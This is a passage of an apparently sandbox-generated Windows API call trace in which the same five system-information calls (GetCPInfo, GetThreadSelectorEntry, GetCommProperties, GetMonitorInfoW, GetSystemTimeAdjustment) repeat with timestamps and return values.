GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.727] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.727] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.727] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.727] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.727] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.727] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.727] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.728] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.728] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.728] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.728] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.728] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.728] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.728] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.728] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.728] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.728] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.728] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.728] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.728] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.728] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.728] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.728] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.728] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.728] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.728] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.729] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.729] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.729] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.729] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.729] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.729] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.729] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.729] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.729] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.729] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.729] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.729] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.729] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.729] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.729] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.729] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.729] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.729] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.729] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.730] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.730] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.730] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.730] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.730] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.730] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.730] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.730] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.730] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.730] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.730] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.730] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.730] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.730] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.730] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.730] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.730] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.730] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.730] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.730] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.730] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.730] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.731] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.731] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.731] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.731] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.731] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.731] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.731] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.731] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.731] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.731] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.731] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.731] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.731] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.731] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.731] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.731] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.731] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.731] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.731] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.731] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.731] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.732] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.732] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.732] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.732] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.732] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.732] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.732] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.732] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.732] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.732] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.732] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.732] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.732] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.732] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.732] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.732] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.732] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.732] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.732] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.732] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.732] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.732] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.732] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.732] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.732] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.732] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.732] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.732] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.733] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.733] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.733] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.733] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.733] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.733] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.733] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.733] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.733] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.733] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.733] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.733] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.733] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.733] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.733] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.733] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.733] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.733] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.733] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.733] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.733] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.733] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.733] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.733] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.733] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.733] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.734] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.734] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.734] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.734] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.734] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.734] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.734] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.734] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.734] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.734] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.734] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.734] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.734] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.734] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.734] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.734] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.734] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.734] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: 